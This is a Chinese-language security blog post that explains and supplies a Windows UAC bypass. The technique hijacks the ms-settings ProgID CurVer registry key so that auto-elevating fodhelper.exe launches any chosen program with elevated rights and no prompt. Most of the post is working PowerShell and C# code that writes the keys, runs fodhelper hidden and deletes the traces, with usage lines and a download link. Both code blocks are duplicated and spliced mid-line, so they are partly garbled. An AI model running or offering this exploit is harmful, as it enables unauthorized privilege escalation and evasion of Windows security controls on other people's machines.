S0cke3t
文章43
标签29
分类12
Bypass UAC with ProgIDs

Bypass UAC with ProgIDs

ProgIDs

在 Windows 中,编程标识符 ( ProgID ) 是一个注册表项,可以与类 ID ( CLSID)关联,类 ID ( CLSID ) 是一个全球唯一的序列号,用于标识COM(组件对象模型)类对象。简单来说,ProgID基本上是一个字符串,例如my-application.document,它代表一个CLSID,例如{F9043C85-F6F2-101A-A3C9-08002B2F49FB}
此外,Windows Shell 使用ProgID注册表子项将文件类型与应用程序相关联,并控制关联的行为。ProgID子项中使用的值之一是名称为 的元素CurVerCurVer如果在系统上找到多个其他版本,则该条目用于设置 COM 应用程序的默认版本。

FodHelper

FodHelper(全称: Features On Demand Helper)。默认情况下,fodhelper.exe高完整性级别运行。启动时,它会检查是否存在以下注册表项:

1
2
3
HKCU:\Software\Classes\ms-settings\shell\open\command
HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute
HKCU:\Software\Classes\ms-settings\shell\open\command\(default)

如果上述注册表项具有分配给它们的命令,fodhelper.exe则将在具有Elevated的上下文中执行,在这期间并不会弹出UAC窗口。

实现

Powershell

powershell脚本来自原作者文章

1
2
3
4
5
6
7
8
9
10
11
12
13
function Bypass { 
Param (
[String]$program = "cmd /c start C:\Windows\System32\cmd.exe"
)
New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".pwn" -Force
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
Remove-Item "HKCU:\Software\Classes\.pwn\" -Recurse function Bypass {
Param (
[String]$program = "cmd /c start C:\Windows\System32\cmd.exe"
)
New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".pwn" -Force
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
Remove-Item "HKCU:\Software\Classes\.pwn\" -Recurse -Force
}

> Import-Module .\uac.ps1
>Bypass
>Bypass c:\xxx\some.exe
默认会启动一个具有Elevated的cmd窗口,或者指定运行的exe程序

二进制文件

核心代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
string prog = @"cmd /c start C:\Windows\System32\cmd.exe";
string fod = @"C:\Windows\System32\fodhelper.exe";
string pwnSubKey = @"Classes\.uac\Shell\Open\command";
string curVerSubKey = @"Classes\ms-settings\CurVer";
RegisterHelper registerHelper = new RegisterHelper();
if (args.Length == 1 && args[0] != null)
{
prog = args[0];
}
registerHelper.SetValue(RegisterHelper.KeyType.HKEY_CURRENT_USER,pwnSubKey , "", prog);
registerHelper.SetValue(RegisterHelper.KeyType.HKEY_CURRENT_USER,curVerSubKey , "", ".uac");
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = fod;
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
Process.Start(processStartInfo);
//延时1秒,否则无法正常调用
Thread.Sleep(1000);
registerHelper.DeleteSubKey(RegisterHelper.KeyType.HKEY_CURRENT_USER, @"Classes\ms-settings\");
registerHelper.DeleteSubKey(RegisterHelper.KeyType.HKEY_CURRENT_USER, string prog = @"cmd /c start C:\Windows\System32\cmd.exe";
string fod = @"C:\Windows\System32\fodhelper.exe";
string pwnSubKey = @"Classes\.uac\Shell\Open\command";
string curVerSubKey = @"Classes\ms-settings\CurVer";
RegisterHelper registerHelper = new RegisterHelper();
if (args.Length == 1 && args[0] != null)
{
prog = args[0];
}
registerHelper.SetValue(RegisterHelper.KeyType.HKEY_CURRENT_USER,pwnSubKey , "", prog);
registerHelper.SetValue(RegisterHelper.KeyType.HKEY_CURRENT_USER,curVerSubKey , "", ".uac");
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = fod;
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
Process.Start(processStartInfo);
//延时1秒,否则无法正常调用
Thread.Sleep(1000);
registerHelper.DeleteSubKey(RegisterHelper.KeyType.HKEY_CURRENT_USER, @"Classes\ms-settings\");
registerHelper.DeleteSubKey(RegisterHelper.KeyType.HKEY_CURRENT_USER, @"Classes\.uac\");

> ProgIDsUACBypass.exe
> ProgIDsUACBypass.exe c:\xxxx\some.exe
默认会启动一个具有Elevated的cmd窗口,或者指定运行的exe程序

当然,如果你愿意可以考虑从远程地址加载指定二进制文件

注意

当运行指定二进制文件时必须填写绝对路径,除非有相应的环境变量。

下载

powershell脚本和二进制文件已上传至github
https://github.com/DeEpinGh0st/Gadgets/tree/master/UAC

参考

https://v3ded.github.io/redteam/utilizing-programmatic-identifiers-progids-for-uac-bypasses

本文作者:S0cke3t
本文链接:https://www.saferoad.cc/Bypass/Bypass-UAC-with-ProgIDs.html
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可
×